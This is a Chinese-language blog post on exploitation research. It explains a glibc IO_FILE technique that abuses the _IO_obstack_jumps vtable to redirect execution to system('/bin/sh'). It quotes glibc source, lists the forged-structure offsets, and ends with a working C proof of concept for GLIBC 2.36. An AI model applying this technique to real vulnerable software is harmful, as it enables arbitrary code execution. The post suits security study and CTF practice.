house of lalala
196082 慢慢好起来

近期又出现一个新的关于IO_FILE的利用方式,不过原作者并没有出名字但是我blog又是用house of系列分类的所以就先随便取个名字。

原理分析

此次聚焦的vtable表为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* the jump table.  */
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, _IO_obstack_overflow),
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, _IO_obstack_xsputn),
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};

主要利用的结构体为:

1
2
3
4
5
struct _IO_obstack_file
{
struct _IO_FILE_plus file;
struct obstack *obstack;
};

也就是在IO_FILE结构体下加一个obstack结构体指针。下面则是obstack结构体的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct obstack          /* control current object in current chunk */
{
long chunk_size; /* preferred size to allocate chunks in */
struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
char *object_base; /* address of object we are building */
char *next_free; /* where to add next char to current object */
char *chunk_limit; /* address of char after current chunk */
union
{
PTR_INT_TYPE tempint;
void *tempptr;
} temp; /* Temporary for some macros. */
int alignment_mask; /* Mask of alignment for each object. */
/* These prototypes vary based on 'use_extra_arg', and we use
casts to the prototypeless function type in all assignments,
but having prototypes here quiets -Wstrict-prototypes. */
struct _obstack_chunk *(*chunkfun) (void *, long);
void (*freefun) (void *, struct _obstack_chunk *);
void *extra_arg; /* first arg for chunk alloc/dealloc funcs */
unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */
unsigned maybe_empty_object : 1; /* There is a possibility that the current
chunk contains a zero-length object. This
prevents freeing the chunk if we allocate
a bigger chunk to replace it. */
unsigned alloc_failed : 1; /* No longer used, as we now call the failed
handler on error, but retained for binary
compatibility. */
};

可以看到,上述的vtable中只有_IO_obstack_overflow_IO_obstack_xsputn这样两个函数,首先关注前一个

_IO_obstack_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int
_IO_obstack_overflow (_IO_FILE *fp, int c)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
int size;
/* Make room for another character. This might as well allocate a
new chunk a memory and moves the old contents over. */
assert (c != EOF);
obstack_1grow (obstack, c);
/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
return c;
}

可以看到其中存在一个assert,注意下面如果我们走exit这条路来清空所有缓存时触发的话就会出现rsi必定为-1的情况,所以此路不通

image-20221201130547767

_IO_obstack_xsputn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static size_t
_IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;

if (fp->_IO_write_ptr + n > fp->_IO_write_end)
{
int size;

/* We need some more memory. First shrink the buffer to the
space we really currently need. */
obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);

/* Now grow for N bytes, and put the data there. */
obstack_grow (obstack, data, n);

/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
}
else
fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n);

return n;
}

这里我们的目标时调用到obstack_grow函数,所以我们需要进入这个if语句,这一点很好说,如果我们可以控制这个结构体就可以非常轻松的控制这里的值而后进入if语句,随后又会执行obstack_blank_fast函数

1
#define obstack_blank_fast(h, n) ((h)->next_free += (n))

这个其实是一个宏定义,可以看到内部其实不会特别影响后续的内容。在继续执行就会进入我们期望的函数:

1
2
3
4
5
6
7
8
9
#define obstack_grow(OBSTACK, where, length)                      \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
int __len = (length); \
if (_o->next_free + __len > __o->chunk_limit) \
_obstack_newchunk (__o, __len); \
memcpy (__o->next_free, where, __len); \
__o->next_free += __len; \
(void) 0; })

可以看到这个也是一个宏定义,同样的我们又必须通过_o->next_free + __len > __o->chunk_limit这条if语句才能调用到_obstack_newchunk函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void
_obstack_newchunk (struct obstack *h, int length)
{
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;

/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;

/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN (h, new_size);
if (!new_chunk)
(*obstack_alloc_failed_handler)();
h->chunk = new_chunk;
new_chunk->prev = old_chunk;
new_chunk->limit = h->chunk_limit = (char *) new_chunk + new_size;
// ...
}

可以看到这里可以直接调用到我们期望的宏定义CALL_CHUNKFUN:

1
2
3
4
# define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \
: (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

可以看到这里存在直接拿指针当作函数的操作(*(h)->chunkfun)((h)->extra_arg, (size)),条件也就是(((h)->use_extra_arg)不为0;

总结

所以从上到下的调用链也是可以直接写出来了:

_IO_obstack_xsputn=>obstack_grow=>_obstack_newchunk=>CALL_CHUNKFUN=>(*(h)->chunkfun)((h)->extra_arg, (size))

最后再根据结构体属性的偏移写上上述约束的值即可。

_IO_list_all指向我们可控A地址时,我们需要对A地址写入如下数据:

1
2
3
4
5
6
7
8
9
A + 0x18 = 1;
A + 0x20 = 0;
A + 0x28 = 1;
A + 0x30 = 0;
A + 0x38 = system_addr;
A + 0x48 = bin_sh_addr;
A + 0x50 = 1;
A + 0xd8 = _IO_obstack_jumps+0x20;
A + 0xe0 = A;

image-20221201134245450

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char bin_sh_addr[0x10];
int main()
{
unsigned long libc_base;
unsigned long printf_addr;
unsigned long *IO_2_1_stderr;
unsigned long IO_obstack_jumps;
strcpy(bin_sh_addr,"/bin/sh");

printf("start!\n");
printf_addr = printf;
libc_base = printf_addr - 0x55700;

IO_2_1_stderr = libc_base + 0x1f7680;
IO_obstack_jumps = libc_base + 0x1f33a0;
*(IO_2_1_stderr + (0x28/8)) = 0x1;
*(IO_2_1_stderr + (0x30/8)) = 0;
*(IO_2_1_stderr + (0x18/8)) = 1;
*(IO_2_1_stderr + (0x20/8)) = 0;
*(IO_2_1_stderr + (0x50/8)) = 1;
*(IO_2_1_stderr + (0xd8/8)) = IO_obstack_jumps+0x20;
*(IO_2_1_stderr + (0xe0/8)) = IO_2_1_stderr;
*(IO_2_1_stderr + (0x38/8)) = system;
*(IO_2_1_stderr + (0x48/8)) = bin_sh_addr;

return 0;
}

以上libc均使用:Ubuntu GLIBC 2.36-0ubuntu4


参考文章

https://tttang.com/archive/1845/#toc_

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量